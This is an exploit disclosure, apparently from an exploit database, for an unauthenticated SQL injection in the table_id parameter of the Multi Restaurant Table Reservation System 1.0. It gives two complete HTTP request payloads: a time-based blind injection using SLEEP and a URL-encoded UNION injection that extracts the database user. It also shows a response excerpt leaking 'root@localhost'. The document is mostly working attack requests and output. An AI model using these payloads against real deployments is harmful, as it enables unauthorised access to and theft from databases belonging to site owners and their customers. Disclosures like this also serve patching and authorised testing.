# Title: Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection# Exploit Author: yunaranyancat# Date: 02-11-2020# Vendor Homepage: www.sourcecodester.com# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip# Version: 1.0# Tested On: Ubuntu 18.04 + XAMPP# Description
The file view-chair-list.php does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection.
An attacker can send malicious inputin the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.# POC N°1 = Time based blind SQLi
GET /TableReservation/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
Host:[TARGET IP/URL]
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT:1
Connection: close
Upgrade-Insecure-Requests:1
Cache-Control:max-age=0### Server will sleep for 10 seconds before returning the response# POC N° 2 = UNION based SQLi### Request (getting current user)
GET /TableReservation/dashboard/view-chair-list.php?table_id=%27%20UNION%20ALL%20SELECT%20CONCAT%280x7176787071%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x71716b7071%29%2CNULL%2CNULL--%20- HTTP/1.1
Host:[TARGET IP/URL]
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT:1
Connection: close
Upgrade-Insecure-Requests:1
Cache-Control:max-age=0
Content-Length:2### Response...<td class="center hidden-phone"><a href="https://www.exploit-db.com/exploits/48984/delete-chair.php?chair_id=[REDACTED]root@localhost[REDACTED] class="btn btn-danger"onclick="if(!Done())return false; ">Delete Chair</a>...
